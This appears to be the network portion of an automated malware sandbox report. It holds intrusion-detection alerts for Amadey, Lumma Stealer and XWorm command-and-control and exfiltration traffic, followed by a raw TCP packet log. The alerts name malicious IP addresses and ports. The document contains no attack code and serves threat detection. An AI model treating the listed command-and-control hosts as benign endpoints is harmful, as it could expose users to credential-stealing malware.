2025-01-03T15:22:04.502155+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50024	185.215.113.43	80	TCP
2025-01-03T15:22:06.990910+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50026	185.215.113.16	80	TCP
2025-01-03T15:22:07.578675+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50027	31.41.244.11	80	TCP
2025-01-03T15:22:11.425693+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50025	TCP
2025-01-03T15:22:12.174070+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50028	185.215.113.43	80	TCP
2025-01-03T15:22:12.879351+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50029	31.41.244.11	80	TCP
2025-01-03T15:22:18.353161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50032	188.114.96.3	443	TCP
2025-01-03T15:22:18.467526+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50031	185.215.113.43	80	TCP
2025-01-03T15:22:18.827754+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50032	188.114.96.3	443	TCP
2025-01-03T15:22:18.827754+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50032	188.114.96.3	443	TCP
2025-01-03T15:22:19.161759+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50034	31.41.244.11	80	TCP
2025-01-03T15:22:19.293545+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50035	188.114.96.3	443	TCP
2025-01-03T15:22:19.775408+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50035	188.114.96.3	443	TCP
2025-01-03T15:22:19.775408+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50035	188.114.96.3	443	TCP
2025-01-03T15:22:20.650469+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50036	188.114.96.3	443	TCP
2025-01-03T15:22:21.956170+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50037	188.114.96.3	443	TCP
2025-01-03T15:22:23.456343+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50038	188.114.96.3	443	TCP
2025-01-03T15:22:25.104578+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50039	188.114.96.3	443	TCP
2025-01-03T15:22:25.537515+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50039	188.114.96.3	443	TCP
2025-01-03T15:22:26.724739+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50040	188.114.96.3	443	TCP
2025-01-03T15:22:29.590460+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.6	50030	80.76.51.73	3232	TCP
2025-01-03T15:22:33.036850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50042	188.114.96.3	443	TCP
2025-01-03T15:22:33.496643+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50042	188.114.96.3	443	TCP
2025-01-03T15:22:33.987397+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50043	104.26.3.16	443	TCP
2025-01-03T15:22:58.137922+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50045	185.215.113.43	80	TCP
2025-01-03T15:22:58.849243+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50046	31.41.244.11	80	TCP
2025-01-03T15:23:03.669136+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50048	185.215.113.43	80	TCP
2025-01-03T15:23:04.365717+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50049	31.41.244.11	80	TCP
2025-01-03T15:23:09.101773+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50051	185.215.113.43	80	TCP
2025-01-03T15:23:09.848082+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50052	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 15:21:00.704900026 CET	49674	443	192.168.2.6	173.222.162.64
Jan 3, 2025 15:21:00.704912901 CET	49673	443	192.168.2.6	173.222.162.64
Jan 3, 2025 15:21:01.032980919 CET	49672	443	192.168.2.6	173.222.162.64
Jan 3, 2025 15:21:02.573575020 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:02.573622942 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:02.573704958 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:02.574364901 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:02.574378014 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.360368967 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.360522032 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:03.366384029 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:03.366393089 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.366667986 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.368549109 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:03.368622065 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:03.368628979 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.368793964 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:03.411339998 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.554249048 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.554435015 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:03.554496050 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:03.554630041 CET	49709	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:03.554646969 CET	443	49709	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:10.314199924 CET	49674	443	192.168.2.6	173.222.162.64
Jan 3, 2025 15:21:10.314203978 CET	49673	443	192.168.2.6	173.222.162.64
Jan 3, 2025 15:21:10.354542971 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:10.354593992 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:10.354660988 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:10.355216980 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:10.355232000 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:10.642329931 CET	49672	443	192.168.2.6	173.222.162.64
Jan 3, 2025 15:21:11.145541906 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:11.145617008 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.147331953 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.147339106 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:11.147583961 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:11.189207077 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.191565037 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.191709995 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.191715956 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:11.191893101 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.239331961 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:11.366810083 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:11.367175102 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:11.367237091 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.371759892 CET	49731	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:11.371792078 CET	443	49731	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:12.316163063 CET	443	49708	173.222.162.64	192.168.2.6
Jan 3, 2025 15:21:12.316255093 CET	49708	443	192.168.2.6	173.222.162.64
Jan 3, 2025 15:21:12.421067953 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:12.421116114 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:12.421192884 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:12.450257063 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:12.450289965 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:12.984330893 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:12.985913992 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:12.985913992 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:12.985951900 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:12.986198902 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:13.033377886 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.107877016 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.107877016 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.108027935 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:13.519778013 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:13.519877911 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:13.519937992 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.548593998 CET	49747	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.548636913 CET	443	49747	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:13.587593079 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.587650061 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:13.587726116 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.588227987 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:13.588244915 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.066253901 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.066364050 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.073394060 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.073410034 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.073658943 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.078588963 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.078622103 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.078669071 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538450956 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538501024 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538528919 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538558960 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538568974 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.538599014 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538611889 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.538636923 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538662910 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538687944 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538697958 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.538707018 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.538729906 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.539069891 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.539108992 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.539109945 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.539124012 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.539151907 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.543148994 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.595469952 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.595498085 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.629810095 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.629848003 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.629898071 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.629911900 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.629951000 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.629962921 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.629995108 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.630184889 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.630198002 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:14.630276918 CET	49753	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:14.630283117 CET	443	49753	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:15.055505991 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:15.055546045 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:15.055640936 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:15.055974007 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:15.055999041 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:15.546152115 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:15.546272039 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:15.547389030 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:15.547399044 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:15.547643900 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:15.553067923 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:15.553193092 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:15.553220987 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.054539919 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.054636002 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.054704905 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.054816008 CET	49764	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.054825068 CET	443	49764	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.169229984 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.169272900 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.169337034 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.169810057 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.169826031 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.633418083 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.633569002 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.635126114 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.635143995 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.635416031 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.636708021 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.636907101 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.636940956 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:16.637141943 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:16.683334112 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.131685019 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.131800890 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.131855965 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.133100033 CET	49775	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.133128881 CET	443	49775	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.367069006 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.367175102 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.367269993 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.367614985 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.367655993 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.843805075 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.843954086 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.845211029 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.845243931 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.845510006 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.847023010 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.847208023 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.847254992 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:17.847364902 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:17.847383022 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:18.450134993 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:18.450226068 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:18.450337887 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:18.465023041 CET	49781	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:18.465043068 CET	443	49781	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:18.926302910 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:18.926337004 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:18.926435947 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:18.926743031 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:18.926759005 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:19.395025015 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:19.395133018 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:19.438064098 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:19.438092947 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:19.438483000 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:19.441952944 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:19.442047119 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:19.442054033 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:19.858773947 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:19.858865976 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:19.858911991 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:19.859066963 CET	49792	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:19.859076023 CET	443	49792	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.374689102 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.374785900 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.374878883 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.375413895 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.375451088 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.849872112 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.849942923 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.851448059 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.851459026 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.851701021 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.853019953 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.853867054 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.853902102 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.853996038 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.854033947 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.854190111 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.854227066 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.854427099 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.854460955 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.854646921 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.854682922 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.854893923 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.854928970 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.854939938 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.854945898 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.855084896 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.855117083 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.855139017 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.855276108 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.855315924 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.864244938 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.864413023 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.864453077 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:20.864474058 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.864494085 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.864592075 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:20.869158983 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.422815084 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.422909021 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.423091888 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.423306942 CET	49805	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.423345089 CET	443	49805	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.431631088 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:22.431658030 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:22.431727886 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:22.432272911 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:22.432286978 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:22.436413050 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.436444044 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.436525106 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.436935902 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.436948061 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.894143105 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.894252062 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.895792007 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.895798922 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.896048069 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:22.904823065 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.904823065 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:22.904894114 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:23.236736059 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:23.236804962 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:23.240392923 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:23.240405083 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:23.240652084 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:23.242558002 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:23.242645025 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:23.242650986 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:23.242768049 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:23.287334919 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:23.393086910 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:23.393203974 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:23.393279076 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:23.393387079 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:23.393404007 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:23.393414021 CET	49823	443	192.168.2.6	104.21.112.1
Jan 3, 2025 15:21:23.393419981 CET	443	49823	104.21.112.1	192.168.2.6
Jan 3, 2025 15:21:23.397355080 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:23.402168989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:23.402262926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:23.406806946 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:23.411623001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:23.416898012 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:23.417015076 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:23.417061090 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:23.417160034 CET	49822	443	192.168.2.6	40.115.3.253
Jan 3, 2025 15:21:23.417169094 CET	443	49822	40.115.3.253	192.168.2.6
Jan 3, 2025 15:21:24.113831997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.113852978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.113863945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.113876104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.113903999 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.113912106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.113950014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.113960981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.113981962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.114001036 CET	80	49829	185.215.113.16	192.168.2.6
